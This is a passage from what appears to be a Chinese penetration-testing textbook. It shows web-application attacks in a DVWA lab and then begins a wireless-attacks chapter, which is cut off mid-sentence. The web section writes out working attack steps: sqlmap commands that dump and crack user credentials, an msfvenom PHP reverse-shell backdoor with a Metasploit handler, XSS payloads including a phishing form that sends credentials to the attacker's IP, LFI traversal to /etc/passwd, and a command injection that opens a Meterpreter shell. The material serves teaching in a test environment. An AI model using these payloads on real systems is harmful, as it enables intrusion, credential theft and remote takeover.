为了使 CSRF 起作用,需要满足一些条件:
-
被攻击的网络应用程序不应该检查 HTTP 头中的引用者。
-
这允许网络应用程序接受来自外部页面的请求。
-
网络应用程序将接受来自 URL 或表单的数据修改。
-
攻击者必须能够确定网络应用程序所期望的所有输入值。例如,当重置密码时,网络应用程序会寻找密码和可能的密码确认的值。
-
被攻击的用户必须加载恶意页面。
CSRF 攻击的一个例子是一个恶意页面,其中包含多个图片。当无意中的用户被引导到这个页面时,图片会加载。一些图片可能是一个动作,导致浏览器向目标网络应用程序发出某些请求。
跨站脚本(XSS)
XSS 是在网络应用程序中发现的最常见的漏洞之一。这种类型的攻击已经在OWASP 十大漏洞列表上存在了一段时间。这种攻击利用注入技术,允许攻击者执行可以执行各种目的的脚本。浏览器会执行这个脚本,因为它认为这个脚本来自网络应用程序。
跨站脚本可以分为三种不同类型。这些类型定义如下:
-
持久型(类型 1):在这种 XSS 类型中,恶意输入被存储在目标服务器中。例如,它可以存储在其数据库、论坛和评论字段中。
-
反射型 XSS(类型 II):在这种 XSS 类型中,数据立即由 Web 应用程序返回。这可以通过错误消息、搜索查询或任何其他响应来实现。这里的主要点是数据是由请求返回的。
-
基于 DOM 的 XSS(类型 0):在这种 XSS 类型中,漏洞存在于客户端而不是服务器端。例如,服务器端的 HTML 页面不会改变,但在客户端,由于文档对象模型(DOM)环境的修改,页面会以不同的方式执行。
当攻击者利用 XSS 攻击时,可以访问诸如 cookies、会话密钥和其他敏感信息之类的组件。
SQL 注入(SQLi)
SQLi 攻击已经存在很长时间了,但它们在今天编写不良的 Web 应用程序中仍然有效。这种攻击适用于使用后端数据库的 Web 应用程序,如 Microsoft SQL 和 MySQL。
当这种攻击成功时,可以访问敏感信息。可以修改数据库中的数据(删除、更新和添加),并且可以绕过身份验证和授权控制。
有各种类型的 SQL 注入攻击。其中一些定义如下:
-
基于错误的攻击:这种攻击通过向数据库提供无效的命令来实现。这通常是通过需要输入的 Web 应用程序的部分完成的,例如用户输入。当输入这些无效的命令时,我们希望服务器会以包含详细信息的错误回复。例如,服务器可能会回复其操作系统、版本,甚至完整的查询结果。
-
基于联合的攻击:这种攻击利用
UNION运算符来扩展查询的结果,最终允许攻击者运行多个语句。关键是结构必须与原始语句保持一致。 -
盲注入攻击:这种攻击之所以被称为盲,是因为没有显示错误消息。在这种攻击中,通过一系列的真假查询来查询数据库,以获取可用于攻击的信息。
了解这些攻击是有益的,因为它们将帮助您在渗透测试期间使用正确类型的攻击。我们将利用一个名为sqlmap的工具,在本章后面执行一些 SQL 注入攻击。
命令执行
命令执行是一种攻击,通过这种攻击可以执行面向操作系统的命令,通过易受攻击的 Web 应用程序实现。这是由一个将不安全的用户输入传递给服务器的应用程序实现的。
命令执行攻击可能导致严重的妥协,这取决于您可以执行什么类型的系统命令以及 Web 应用程序的特权级别。
攻击 Web 应用程序
作为渗透测试人员,您不应该仅仅依赖于可以用于 Web 应用程序攻击的工具。对它们有很好的了解肯定会在您的渗透测试中有所帮助,因为您可能会时间紧迫。
在本节中,我们将讨论各种工具,并看看如何使用它们来对抗各种 Web 应用程序。
Nikto
Nikto 是默认包含在 Kali Linux 中的 Web 服务器扫描程序。它能够提取或识别以下信息:
-
服务器版本
-
潜在危险的程序或文件
-
服务器配置项
-
已安装的 Web 服务器
Nikto 的一些主要特点如下:
-
SSL 支持
-
HTTP 代理支持
-
使用输入文件扫描多个目标的能力
-
调整扫描引擎的能力
Nikto 并不是设计为隐秘的。在渗透测试中使用这个工具很可能会被 IPS/IDS 检测到。
使用 Sqlmap
Sqlmap 是一个默认包含在 Kali Linux 中的开源工具。它用于自动检测和利用 SQL 注入漏洞,以及接管 Web 应用程序的数据库。它利用了一系列选项,允许指纹识别、数据访问、执行等。
sqlmap的语法是sqlmap <options>。
sqlmap的特点如下:
-
支持多种 SQL 产品,如 MySQL、PostgreSQL、Microsoft SQL、Oracle 和 SQLite。
-
它支持 SQL 注入技术,如布尔盲注、基于时间的盲注、堆叠查询、基于错误的注入、UNION 查询和带外带。
-
它有能力枚举用户、密码哈希、权限等。
-
它有能力识别密码哈希的类型,并支持使用字典攻击来破解它。
-
它有能力与数据库的底层操作系统进行交互。这可以用于下载或上传文件,使用交互式命令提示符或 Meterpreter 会话创建反向 shell,或执行命令。
-
它支持将整个数据库或其中的特定部分,如特定列或一系列条目或字符,导出为文件。
-
它有能力利用 Meterpreter
getsystem命令进行权限提升。
现在我们已经简要概述了 Sqlmap,让我们看看这个工具的实际操作。我们将使用这个工具对内置在 Metasploitable 2 中的Damn Vulnerable Web Application(DVWA)执行一些攻击。
使用 Sqlmap 执行攻击
让我们看看如何使用 Sqlmap 对默认安装在 Metasploitable 2 中的 DVWA 执行各种攻击。
信息收集
我们将首先进行一些信息收集。在执行任何攻击之前,让我们看看我们可以获得什么信息:
- 在 Kali Linux 中使用 Firefox ESR,导航到您的 Metasploitable 2 IP 虚拟机的 IP 地址。点击 DVWA,并使用以下凭据登录:
-
用户名:
admin -
密码:
password
- 在左侧导航窗格上点击 DVWA Security,并在脚本安全下选择低。然后,点击提交:
图 5:将 DVWA 安全级别设置为低
-
接下来,点击 SQL 注入,并在用户 ID 字段中输入数字 1。在点击提交之前,请确保您已启用 Burp Suite 代理,并且您的浏览器已配置为使用 Burp Suite 代理。一旦代理启用,点击提交。
-
注意被拦截的字段。我们对
cookie和PHPSESSID感兴趣*:*。
图 6:DVWA SQLi 拦截
- 我们将首先尝试使用
--dbs选项枚举所有数据库。为此,我们将使用我们捕获的cookie和PHPSESSID值。我们将使用的命令如下:
sqlmap -u "http://192.168.34.137/dvwa/vulnerabilities/sqli/id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94488715a0d380b4abcf6253fbfced25" --dbs
在这个命令中,我们使用-u参数定义目标 URL。这个 URL 是 DVWA Web 服务器(Metasploitable 2)的 IP 地址,带有GET请求(/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit)。我们指定cookie和PHPSESSID值,并使用--dbs选项列出所有数据库。
注意以下输出。Sqlmap 能够识别数据库,并询问我们是否要继续测试其他数据库:
图 7:Sqlmap 数据库识别
- 我们将选择Y跳过特定于其他 DMBS 的测试有效负载,N用于之后提示的问题。一旦
sqlmap完成,它将为您提供一些有价值的信息。在这里,我们已经确定了一些注入点,有关底层操作系统的信息,以及存在的数据库名称:
图 8:具有有价值信息的 Sqlmap 输出
我们可以使用-f选项来对数据库进行指纹识别,如下所示:
sqlmap -u "http://192.168.34.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94488715a0d380b4abcf6253fbfced25" -f
我们得到以下输出:
图 9:确定软件版本
现在我们已经获得了与 DVWA 相关的信息,让我们进一步进行一些额外的攻击。
从 SQL 表中转储用户详细信息
我们将执行的下一个攻击是从 SQL 数据库中获取用户信息。为此,我们将针对dvwa数据库。让我们开始吧:
- 使用以下命令获取 DB 中的当前表:
sqlmap -u "http://192.168.34.137/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94488715a0d380b4abcf6253fbfced25" -D dvwa --columns
在这个命令中,我们正在寻找与dvwa数据库(-D dvwa)相关的列(--columns)。请注意,在输出中,我们有一个有趣的表,列出为users,列如firstname,lastname,userid和password:
图 10:dvwa数据库中用户表的列
现在我们已经确定了一个有趣的表,让我们继续转储表,看看我们是否能够使用字典攻击破解哈希。
- 通过以下命令,我们将转储所有表的表条目:
sqlmap -u "http://192.168.34.137/dvwa/vulnerabilities/sqli/id=1&Submit=Submit" --cookie="security=low; PHPSESSID=94488715a0d380b4abcf6253fbfced25" -D dvwa --dump
在这个命令中,我们使用--dump选项来查看dvwa数据库中所有表的所有条目。当命令运行时,sqlmap将询问是否应该使用字典攻击来尝试破解密码。选择yes选项,sqlmap将提示输入字典文件。对于这个演示来说,使用内置的字典文件就足够了。注意输出;您将看到我们已经转储的用户表,以及其中所有的详细信息,包括每个用户的密码的哈希形式和明文形式:
图 11:使用 Sqlmap 转储的用户详细信息
在本节中,我们已经看到了 Sqlmap 的有效性。使用这个工具可以在渗透测试中有时间限制时自动化一些攻击。我们特别看了如何进行信息收集,枚举表格和提取用户凭据。Sqlmap 还有很多其他功能,所以它是您渗透测试工具包中必不可少的工具。
使用 PHP 创建后门
让我们看看如何使用恶意的php文件来创建一个对 web 应用程序的基础操作系统的后门。在这里,我们将使用 DVWA,因为它允许我们上传文件。
确保 DVWA 的安全级别设置为低。默认的用户名是admin,密码是password。
我们将使用 MSFvenom 创建一个 PHP 文件,该文件将为我们提供一个反向 shell。用于监听连接的处理程序将在 Metasploit 中设置。步骤如下所示:
- 在 Kali Linux 的终端窗口中,输入以下命令创建一个恶意的 PHP 后门:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Attacker IP Address> LPORT=<Port to connect to> -f raw > msfv-shell.php
在这个命令中,我们将 payload(-p)定义为php/meterpreter_reverse_tcp,然后我们定义攻击机器的 IP 地址(LHOST)和反向 shell 将建立的端口(LPORT)。我们不使用任何编码器;我们只想要原始的php文件(-f raw)。文件名应该是msfv-shell.php(> msfv-shell.php)。
- 生成 PHP 文件后,我们将把它上传到 DVWA。登录到 DVWA,然后导航到左侧的上传部分。点击浏览...,然后导航到创建
msfv-shell.php文件的位置。然后,选择它。文件上传后,注意上传的位置:
图 12:上传了 MSFVenom 恶意 PHP 文件
-
在连接到上传的 PHP 页面的位置之前,我们需要在 Metasploit 中设置一个处理程序。为此,我们将使用
msfconsole命令打开 Metasploit Framework。 -
Metasploit Framework 加载后,我们将使用以下命令创建处理程序:
use exploit/multi/handler
set PAYLOAD php/meterpreter_reverse_tcp
set LHOST <LHOST value>
set LPORT <LPORT value>
exploit
- 处理程序创建后,我们可以导航到上传位置,然后点击 msfv-shell.php 文件:
图 13:访问恶意的 PHP 文件
- 一旦文件被访问,在 Metasploit 控制台上,你将拥有一个 Meterpreter 会话:
图 14:建立反向 Meterpreter shell
从这里,你可以选择进入系统 shell,上传/下载文件等。
执行 XSS 攻击
在这里,我们将使用 DVWA 并查看如何执行反射型和存储型 XSS 攻击。我们将保持 DVWA 的安全级别设置为低。
执行反射型 XSS 攻击
在这种情况下,我们将执行反射型 XSS 攻击。在这种攻击中,我们将向 Web 应用程序发送一个请求,迫使它显示一些敏感信息。我们将按照以下方式执行攻击:
-
登录到 DVWA 并点击 XSS Reflected。这个页面的默认操作是简单地
echo你放入字段中的任何输入。因此,我们将尝试强制应用程序为我们提供诸如cookie和PHPSESSID之类的信息。 -
在“你叫什么名字?”字段中,我们将输入一个简单的脚本,它将为我们提供我们正在寻找的
cookie和PHPSESSID数据。输入以下命令:
<script>alert(document.cookie);</script>
在这个脚本中,我们告诉 Web 应用程序通过提供弹出窗口来警报我们。在这里,我们调用document.cookie,它将提供当前的cookie和PHPSESSID值。注意输出;我们现在有了我们想要的cookie和PHPSESSID值:
图 15:使用反射型 XSS 提供敏感数据
现在我们已经获得了所有必需的细节,我们将尝试在这个页面中注入一个表单,以欺骗用户输入他们的凭据。我们还将强制 Web 应用程序将输出发送到其他地方,而不是在屏幕上弹出:
-
在 Kali Linux 中打开一个终端窗口。我们将使用
nc -lvp 80命令在端口80上创建一个netcat简单的 Web 服务器。在这个命令中,我们使用nc命令启动netcat。-l开关用于启用监听模式,v用于详细输出,p定义我们将监听的端口号。一旦命令被执行,netcat将监听连接。 -
在相同的 XSS Reflected 页面上,输入以下脚本:
<h3>Please login to proceed</h3> <form action=http://192.168.34.153>Username:<br><input type="username" name="username"></br>Password:<br><input type="password" name="password"></br><br><input type="submit" value="Logon"></br>
在这个脚本中,我们创建了一个简单的表单,要求输入username和password。注意form action=字段。在这里,我们使用了攻击者 PC(Kali Linux)的 IP 地址,我们在那里启动了netcat监听器。
- 现在,一个表单被显示出来。输入一个随机的
username和password,然后点击 Logon:
图 16:使用 XSS 注入恶意表单
一旦你点击 Logon,看一下你在启动netcat监听器的终端上的输出。Web 应用程序已经将登录请求发送到我们的监听器,并且凭据以明文形式可见:
图 17:在 netcat 监听器上捕获的登录请求
通过利用反射型 XSS 可以进行许多其他攻击,但关键是这种漏洞的严重性。正如我们所看到的,可能获取敏感数据,这可能对任何具有易受攻击的 Web 应用程序的组织造成损害。
执行存储型 XSS 攻击
让我们看看如何执行存储型 XSS 攻击。在这里,我们将使用 DVWA 的 XSS Stored 部分。我们将尝试再次获取cookie和PHPSESSID:
-
登录到 DVWA 并点击 XSS stored。在这里,我们有一个人们可以签名的留言簿。我们将尝试在消息字段中输入一些代码。
-
为名称输入任何值,然后使用我们之前使用的相同脚本:
<script>alert(document.cookie);</script>
- 一旦你点击“Sign guestboo”,
cookie和PHPSESSID的详细信息将被显示:
图 18:使用存储的 XSS 提供敏感数据
由于这是存储的 XSS 攻击,如果您导航到 DVWA Web 应用程序的另一部分并返回到 XSS 存储,弹出窗口将自动出现,因为恶意脚本存储在数据库中。
执行文件包含攻击
让我们执行本地和远程文件包含攻击。这两种攻击都将在 DVWA 上进行,我们将保持 DVWA 的安全级别设置为低。
对于 LFI 攻击,我们将尝试在 Web 服务器上浏览本地文件。在 Linux 操作系统上存在的有价值的文件是/etc/passwd文件。让我们开始:
-
一旦我们登录到 DWVA,点击左侧的文件包含。
-
让我们尝试导航到
/etc/passwd文件。由于我们不知道 Web 应用程序正在操作的本地工作目录是什么,我们将使用一系列字符来执行目录遍历。在地址栏中,在?page=后添加../../../../../etc/passwd,如下面的屏幕截图所示。在目录遍历中使用../用于返回到上一个目录。这里需要进行实验,因为您可能不知道服务器的目录结构中目标 Web 应用程序的位置:
图 19:使用 LFI 进行目录遍历
- 一旦您按下Enter,您将获得大量输出。在输出中,您将找到
/etc/passwd文件的内容:
图 20:暴露的/etc/passwd 文件内容
通过使用 LFI 攻击,您可以做的不仅仅是暴露系统文件。您还可以上传文件到 Web 服务器并启动反向 shell。
执行命令执行攻击
我们将使用 DVWA 并查看如何执行命令执行攻击。我们将保持 DVWA 的安全级别设置为低:
-
登录到 DVWA 应用程序,然后单击左侧的命令执行。
-
让我们尝试执行一个简单的命令,比如列出当前目录。由于表单需要 IP 地址,我们将定义一个 IP,但使用附加命令使用附加字符
&&。为了列出目录,我们将使用-ls -la。完整的注释将是192.168.34.153 && ls -la。
在这个命令中,我们正在定义一个随机 IP(我正在使用我的 Kali 虚拟机的 IP)并使用&&附加一个额外的命令。这个命令正在列出ls目录。我们可以通过使用长列表-l查看这些文件,并包括所有文件a。这是我们收到的输出:
图 21:命令执行攻击
在这里,我们有实际的 ping 命令,但在底部,我们有当前目录的列表。现在,我们知道命令执行是可能的。让我们看看是否可以使用 Metasploit 获得远程 shell。
-
从终端窗口,我们将使用
msfconsole命令启动 Metasploit 框架。 -
我们将使用脚本交付利用。输入
use exploit/multi/script/web_delivery命令,然后show options查看可用选项:
图 22:在 Metasploit 中加载利用
- 现在,我们需要定义目标。通过使用
show targets命令,我们可以看到这个利用将适用于哪些目标。在我们的情况下,我们将使用PHP:
图 23:利用可用的目标
- 现在,我们将配置利用。设置以下选项:
set Target 1
set LHOST 192.168.34.153
set LPORT 1337
set payload php/meterpreter/reverse_tcp
请记住,LHOST是您的 Kali 虚拟机 IP,LPORT可以是任意随机端口号。我们使用的有效载荷是反向 TCP meterpreter shell。您可以使用show options命令确认您的选项:
图 24:配置利用选项
- 配置这些选项后,使用
run命令运行利用。注意输出。突出显示的代码是我们将在命令执行攻击中使用的,用于将反向 shell 生成到我们的攻击系统。复制该代码,并且不要关闭终端窗口或退出 Metasploit:
图 25:使用反向 PHP 脚本定义的利用正在运行
- 返回到 DVWA 中的命令执行页面。现在,输入一个 IP 地址,并使用
&&和 Metasploit 生成的代码进行追加:
图 26:使用命令执行攻击运行恶意脚本
一旦您点击提交,您将启动一个meterpreter会话。返回到您配置利用的终端窗口。
- 您现在会看到您已经启动并运行了
meterpreter会话。按下Enter将带您返回到利用配置页面,但您的会话仍将保持建立状态。您可以使用sessions -i命令来检查这一点。要访问此会话,请使用sessions -i [会话 ID]命令:
图 27:Meterpreter 会话已建立
- 从这里开始,您将能够利用 Meterpreter 的全部功能。您可以使用
shell命令访问操作系统 shell。从这里,您将能够进一步发动攻击:
图 28:访问操作系统 shell
正如我们所见,通过这次攻击,您有许多选项可用于进一步利用。使用 Metasploit Framework 等工具可以轻松利用命令执行漏洞。
总结
在本章中,您已经了解了 Web 应用程序及其架构,以及它们的组件。您已经了解了不同类型的 Web 应用程序测试,我们专门关注了渗透测试。您深入了解了 HTTP 协议以及请求和响应头中的详细信息。最后,您学习了各种 Web 应用程序攻击以及如何在测试环境中执行它们。
在第九章中,开始无线攻击,我们将讨论无线架构、它们的攻击以及如何执行它们。
问题
-
列举三种 Web 应用程序架构中的一种。
-
HTTP 和 HTTPS 之间有什么区别?
-
在 HTTP 响应头中可以操纵什么来执行 XSS 攻击?
-
列举两种 Web 应用程序攻击类型。
-
什么工具可以用来创建 PHP 后门有效负载?
第九章:开始无线攻击
无线行业继续增长,无线设备的数量不断增加。一般家庭拥有访问点、媒体中心、电话、游戏机、个人电脑,甚至安全系统。企业依赖无线网络以提高员工在公司内外自由移动的便利性。能够自由访问网络的缺点是,它使网络容易受到漏洞的攻击。因此,公司识别和修复无线网络中的漏洞是很重要的。
在本章中,您将学习无线攻击以及如何执行它们。我们将讨论无线数据包的各个组成部分,比如信标帧,以及数据包中包含的内容。您将了解可以用于无线数据包注入和监视的无线适配器的类型。我们将深入探讨可以用于执行不同攻击的各种工具。最后,您将学习如何破解各种无线加密协议。
随着本章的进行,您将学习以下主题:
-
探索无线攻击
-
兼容的硬件
-
无线攻击工具
-
破解 WPA/WPA2 和 WEP
技术要求
本章需要以下技术要求:
-
Kali Linux 2019.1
-
兼容数据包注入的网络适配卡
-
支持 WPA/WPA2 和 WEP 的无线路由器
探索无线攻击
无线网络从一个“好有”发展到组织中的一个“必须有”的需求。无线网络几乎无处不在。例如,您可能在家里运行无线网络以便接入互联网。这种接入可以让移动电话、智能电视、媒体播放器、游戏机、平板电脑和个人电脑随时连接到互联网。您的邻居可能也有类似的设置。
在企业中,无线网络是一个强大的工具,可以提高生产力并促进信息交流。员工可以自由漫游,并且无线网络提供了简单性、易用性、方便性和客人的网络访问,以及在难以到达的区域的网络访问。
遗憾的是,无线设备通常缺乏安全性,这导致了严重的漏洞。公司通常没有对无线设备进行安全配置,甚至有些公司可能会使用默认配置的无线设备。
了解无线网络的工作原理,以及各种加密算法和对无线网络的攻击,如果您想进行成功的渗透测试,这是至关重要的。
无线网络架构
在对无线网络进行盲目的渗透测试之前,了解无线网络的架构是很重要的。这将帮助您对不同的模式有一个很好的理解,并且从渗透测试的角度来看,了解哪些类型的无线帧是重要的。
无线网络有两种主要模式:
-
基础设施模式
-
点对点模式
在这两种模式中,有一个称为服务集标识(SSID)的共同组件,这是网络验证所必需的。在基础设施模式下,SSID 由访问点(AP)设置。在点对点模式下,SSID 由创建网络的站点设置。
在基础设施模式中,至少应该有一个访问点和一个站点。这两者组成了一个基本服务集(BSS)。当两个或更多访问点连接到相同的 IP 子网或虚拟局域网(VLAN)时,形成了扩展服务集(ESS),从而创建了一个单一的逻辑网络段。
在自组网模式中,当两个或更多站点开始在没有访问点的情况下进行通信时,将创建独立基本服务集(IBSS)。这种模式可以称为点对点模式。其中一个站点将自行处理访问点处理的责任,例如信标和认证新客户端。
无线帧
在无线网络中,通信是使用帧进行的。在无线帧中,前两个字节属于一个称为帧控制的组件。在这个帧控制帧内,我们有多个字段,其具有各种位大小。值得注意的是类型字段。
类型字段包含以下类别的帧:
-
管理帧:这些负责保持站点和访问点之间的通信。这些帧的一些子类型包括认证、去认证、关联、信标、探测请求和探测响应。
-
控制帧:这些负责访问点和站点之间的数据交换。这里的一些子类型包括请求发送、准备发送和 ACK。
-
数据帧:这些帧携带实际数据。它们没有子类型。
我想深入研究以下帧,因为这些帧可以揭示一些关键信息。
值得注意的无线帧
信标帧是在无线网络中发送的最常见的数据包。这些通常发送得相当快,通常每秒几次。当然,这可以在各种无线访问点中进行控制。信标帧包含有用的信息,例如以下内容:
-
SSID 名称(除非关闭 SSID 广播)
-
访问点的 MAC 地址
-
安全功能(WPA2 密码,WPA,WEP,WPA 企业)
-
信标间隔
-
信道和信道宽度
-
国家
-
访问点支持的连接速度
图 1显示了信标帧中包含的内容。您会注意到间隔为 0.102400 [秒]。点号 1 显示该帧由一个 AP 发送,由于第二位未设置,这表示这不是一个自组网。点号 2 包含有关 SSID、支持的数据速率、信道宽度和国家信息的详细信息:
图 1:信标帧
应用的过滤器(wlan.fc.type_subtype==0x8)是特定于信标帧的,因为它们是管理帧(帧零)和子类型 8 的一部分。
去认证帧用于取消与访问点当前关联的客户端。有许多原因会导致您强制客户端取消关联;例如,如果您想揭示隐藏的 SSID 或者想捕获 WPA/WPA2 握手。
图 2显示了一个去认证数据包的示例捕获:
图 2:去认证帧
请注意,定义的原因代码为class 3表示站点正在离开或已离开独立基本服务集。这个去认证是使用 aireplay-ng 进行的。我们将在本章后面详细介绍这个工具。有许多原因代码,在表 1中我列出了常见的原因代码:
| 原因代码 | 描述 | 解释 |
|---|---|---|
0 | 无原因代码 | 这是正常行为 |
1 | 未指明的原因 | 客户端目前已关联但不再被授权 |
2 | 先前的身份验证不再有效 | 客户端已关联但未经授权 |
3 | 离开去认证 | 站点已被取消认证,因为它正在离开 IBSS 或 ESS |
4 | 因不活动而取消关联 | 客户端会话已超时 |
5 | 关联 AP 繁忙 | 接入点当前繁忙,无法处理当前关联的客户端 |
6 | 非经过身份验证的站点的Class2帧 | 客户端尝试在身份验证之前传输数据 |
7 | Class3 非关联站的帧 | 客户端在与接入点关联之前尝试传输数据 |
认证帧构成了认证过程。交换的认证帧数量各不相同;认证事务序列号负责跟踪认证过程,并且可以处理从1到65535的值。认证算法用于识别正在使用的认证类型。下面的示例捕获(图 3)显示正在使用开放认证:
图 3:认证帧
使用值0表示正在使用开放认证。值1表示正在使用共享密钥认证。
无线安全协议
随着无线技术的发展和广泛应用,无线技术的安全协议也得到了提升。
在无线安全中,密码只是一半的战斗。选择正确的加密级别同样重要,正确的选择将决定您的无线局域网是否容易被利用。大多数无线接入点为无线加密启用了三种标准之一:有线等效隐私(WEP),或Wi-Fi 保护访问(WPA或WPA2)。
在进行对无线网络进行渗透测试之前,我们需要检查今天存在的加密标准,并了解它们的漏洞。
WEP
WEP 是为了解决开放网络的问题而创建的,这些网络容易受到窃听,因为没有使用加密。它在创建时提供了合理程度的安全性。它使用Rivest Cipher 4(RC4)来加密流量,并使用 CRC32 校验和提供消息完整性。RC4 是对称密码,这意味着相同的密钥用于加密和解密数据。密码创建了一系列与明文进行异或运算的位,从而产生了加密数据。当然,可以通过简单地使用密钥流对加密数据进行异或运算来解密数据。
WEP 使用了 24 位的初始化向量(IV)。IV 用于确保加密的第一个明文数据块是随机的。这确保了如果相同的明文被加密,结果将是不同的密文。由于 IV 的大小较小,密钥重用的可能性很高,这使得破解加密变得容易。
2001 年,网络安全专家发现了 WEP 中的几个严重缺陷,导致业界普遍建议在商业和消费设备中淘汰 WEP 的使用。
WPA
基于 WEP 的缺陷,迫切需要为无线设备提供更多安全性。这就是 WPA 被引入的时候。WPA 引入了两种新的链路层加密协议;这些是临时密钥完整性协议(TKIP)和计数器模式与 CBC-MAC(CCMP)。
WPA 有两种模式:
-
WPA 个人:这使用预共享密钥进行认证,该密钥由网络中的所有对等体共享。
-
WPA 企业:利用 radius 服务器进行认证、授权和计费(AAA)的 802.1x 认证。
WPA 仍然使用 WEP 作为加密算法以支持向后兼容和旧硬件。然而,通过使用 TKIP,它解决了一些安全漏洞,具体包括以下内容:
-
256 位密钥
-
通过为每个数据包生成一个唯一密钥进行数据包密钥混合
-
自动传输更新的密钥
-
完整性检查
-
48 位 IV 大小和 IV 排序以减少重放攻击
Wi-Fi 保护访问版本 2(WPA2)
WPA2 作为 WPA 的继任者被引入。它使用更强大的高级加密标准(AES)算法。AES 由三个对称块密码组成,每个密码块为 128 位。块的加密和解密可以使用 128 位、192 位和 256 位密钥进行。AES 需要更多的计算能力,但随着无线设备的进步,性能问题只在旧硬件上普遍存在。
WPA2 使用计数器模式和密码块链接消息认证码协议(CCMP)。CCMP 通过只允许授权的设备或用户接收数据来提供数据机密性。密码块链接用于提供数据的完整性。
WPA2 与旧硬件不兼容,因为它是从头开始重新设计的。它支持 WPA 引入的个人和企业模式。
2017 年,宣布了一个严重的影响 WPA2 的漏洞。它被称为KRACK,代表密钥重新安装攻击。当攻击者欺骗目标重新安装已经使用的密钥时,就会发生密钥重新安装攻击。这可以通过操纵和重放 WPA2 的加密握手消息来实现。当安装此密钥时,参数(如 nonce(递增传输数据包编号)和重放计数器)被重置为其初始值。通过强制重用 nonce,数据包可以被重放、伪造和解密。
Wi-Fi 保护访问版本 3(WPA3)
WPA3,于 2018 年宣布,旨在成为广泛使用的 WPA2 的继任者,并带来了一些核心增强功能,以增强个人和企业网络的安全保护和程序。
WPA3 引入了一个不同的握手过程,称为对等的同时认证(SAE),也被称为Dragonfly密钥交换。加密由 AES-GCM 处理,WPA3 使用的会话密钥长度为企业模式为 192 位,个人模式为 128 位(192 位是可选的)。数据完整性由安全哈希算法 2(SHA2)处理。
即使对于没有密码的 Wi-Fi 网络,WPA3 安全性也提供了一种称为个人数据加密的数据保护机制。该机制使用单独的密钥加密每个设备的数据包,因此其他设备无法解密彼此的数据。
WPA3 听起来确实很安全;然而,出现了一个名为Dragonblood的漏洞。这个漏洞允许攻击者通过滥用时间或基于缓存的侧信道泄漏来恢复密码。
WPA3 不在本书的范围内,但了解新标准和其中存在的漏洞是值得的。
有关 WPA3 的更多信息,您可以访问 Wi-Fi 联盟网页:www.wi-fi.org/discover-wi-fi/security。
无线攻击类型
让我们来看看存在的各种类型的无线攻击:
-
访问控制攻击:这些类型的攻击试图通过规避访问控制保护(如 MAC 过滤器或
802.1x端口安全)来获取对无线网络的访问权限。一些访问控制攻击的例子如下: -
流氓接入点:这些是未经保护的接入点,用于在受信任的网络中创建后门。
-
MAC 地址欺骗:这种攻击试图欺骗已经获得授权的接入点或站点的 MAC 地址。
-
临时关联:这种类型的攻击试图通过临时模式直接连接到一个站点。这使得可以绕过接入点的安全性,因为可以攻击或使用该站点作为枢纽点。
-
机密性攻击:这些类型的攻击旨在拦截通过无线网络发送的流量。一些机密性攻击的例子如下:
-
邪恶的双子 AP:这是一个恶意接入点,伪装成合法的接入点,试图欺骗客户端对其进行认证。这可以用来窃取凭据或进行中间人攻击。
-
虚假门户:在这种攻击中,使用虚假的强制门户试图欺骗用户提供诸如预共享密钥、敏感信息或登录详细信息。
-
完整性攻击:这些类型的攻击利用伪造的帧来误导接收者。它们也可以用于执行拒绝服务攻击。一些完整性攻击的例子如下:
-
Radius 重放攻击:利用嗅探和拦截等技术,可以捕获和存储请求认证器、标识符和服务器响应。这些可以稍后用于恶意目的进行重放。
-
帧注入攻击:在这种攻击中,无线帧可以被操纵。例如,强制发出去认证帧,以迫使设备重新对接入点进行认证,以便捕获握手。
-
身份验证攻击:这些类型的攻击旨在窃取身份验证信息,这些信息可以用于访问资源或服务。一些身份验证攻击的例子如下:
-
WEP/WPA/WPA2 密钥破解:这种攻击涉及捕获认证握手并执行离线暴力破解以获取预共享密钥。
-
降级攻击:这些攻击可以针对
802.1x,通过强制服务器使用伪造的 EAP 数据包提供更弱的认证。
兼容的硬件
拥有正确的硬件对于对无线网络进行渗透测试至关重要。并非所有无线适配器都能让您切换到监视模式或执行数据包注入。
监视模式允许无线适配器切换到混杂模式,以便监视数据包而不进行任何过滤。许多工具,如airodump-ng和aireplay-ng,需要将无线适配器置于监视模式才能运行。
无线适配器
选择合适的无线适配器可能会很棘手,特别是在当今存在许多选项的情况下。正确的适配器是根据您的需求而定的。您可能需要一个小巧的适配器或一个可以利用各种天线尺寸的适配器。这完全取决于您的偏好以及它是否适合您。
需要注意的一点是,无线适配器的传输功率和接收灵敏度应该考虑在内。例如,较低的灵敏度对于接收更好,但较高的功率对于数据传输更好。通常,只有在考虑范围时才会使用高功率适配器。
具有 Atheros、Realtek 或 Ralink 芯片组的无线适配器通常支持监视模式和数据包注入。但并非所有适配器都支持。互联网上有多篇评论和文章定期更新最新支持的硬件。在您喜欢的搜索引擎上快速搜索关键词,如“Kali Linux 兼容的无线适配器”,将为您提供丰富的结果。
最常用的无线适配器是 Alfa 无线适配器。这些适配器在亚马逊和其他供应商那里都可以找到,而且价格相对便宜。要小心假货,因为市场上有许多假货。我正在使用的无线适配器是 Alfa AWUSO36NH。该卡的传输功率为 2000 毫瓦。在撰写本文时,该适配器在亚马逊上的价格为 31.99 美元。由于一些网络使用 2.4 GHz 和 5 GHz 频率,您可能需要一个可以在两个频率上工作的无线适配器。Panda PAU09 在 Kali Linux 上运行良好,并支持 2.4 GHz 和 5 GHz 频率;在撰写本文时,该适配器在亚马逊上的价格为 39.99 美元。
重要的是要注意,一些无线网卡在 Kali Linux 中可以直接使用。有些需要编译驱动程序。有时,同一型号的微小修订版本会产生不同的结果。确保您对无线网卡进行彻底的研究。
2.4 GHz 和 5 GHz 频率之间的主要区别是范围。2.4 GHz 能够比 5 GHz 到达更远的距离。另外,2.4 GHz 受到的干扰比 5 GHz 多得多。2.4 GHz 中有更多的重叠信道,有三个不重叠的信道,而 5 GHz 有二十三个不重叠的信道。
一旦您有兼容的无线适配器,您可以通过执行以下操作将其设置为监控模式:
- 在 Kali Linux 中打开一个终端窗口,并发出
iwconfig命令。注意您的无线网卡的接口名称(图 4)。在下面的示例中,无线适配器接口名称是wlan0:
图 4:使用 iwconfig 识别无线适配器
- 在更改模式之前,关闭接口是一个好习惯。这可以通过使用
